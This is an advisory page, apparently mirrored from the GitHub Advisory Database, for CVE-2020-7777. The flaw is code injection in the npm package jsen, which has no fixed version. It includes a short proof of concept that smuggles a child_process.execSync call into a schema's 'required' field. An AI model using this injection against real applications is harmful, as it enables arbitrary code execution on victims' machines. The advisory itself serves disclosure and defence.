Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXZtNjQtY2ZxeC0zNjk4
Code Injection in jsen
This affects all versions of package jsen. If an attacker can control the schema file, it could run arbitrary JavaScript code on the victim machine. In the module description and README file there is no mention about the risks of untrusted schema files, so it is assumed that this is applicable. In particular the required field of the schema is not properly sanitized. The resulting string that is build based on the schema definition is then passed to a Function.apply();
, leading to an Arbitrary Code Execution.
PoC
const jsen = require('jsen');
let schema = JSON.parse(
{ "type": "object", "properties": { "username": { "type": "string" } }, "required": ["\\"+process.mainModule.require(\'child_process\').execSync(\'touch malicious\')+\\""] }
);
const validate = jsen(schema); validate({});
Permalink: https://github.com/advisories/GHSA-vm64-cfqx-3698JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXZtNjQtY2ZxeC0zNjk4
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: about 2 years ago
Updated: 8 months ago
CVSS Score: 7.2
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Identifiers: GHSA-vm64-cfqx-3698, CVE-2020-7777
References:
- https://nvd.nist.gov/vuln/detail/CVE-2020-7777
- https://github.com/bugventure/jsen/blob/master/lib/jsen.js#L875
- https://security.snyk.io/vuln/SNYK-JS-JSEN-1014670
- https://github.com/advisories/GHSA-vm64-cfqx-3698
Blast Radius: 19.8
Affected Packages
npm:jsen
Dependent packages: 53Dependent repositories: 562
Downloads: 119,828 last month
Affected Version Ranges: <= 0.6.6
No known fixed version
All affected versions: 0.0.1, 0.0.2, 0.0.3, 0.0.4, 0.0.5, 0.1.0, 0.1.1, 0.1.2, 0.2.0, 0.3.0, 0.3.1, 0.3.2, 0.4.0, 0.4.1, 0.5.0, 0.6.0, 0.6.1, 0.6.3, 0.6.4, 0.6.5, 0.6.6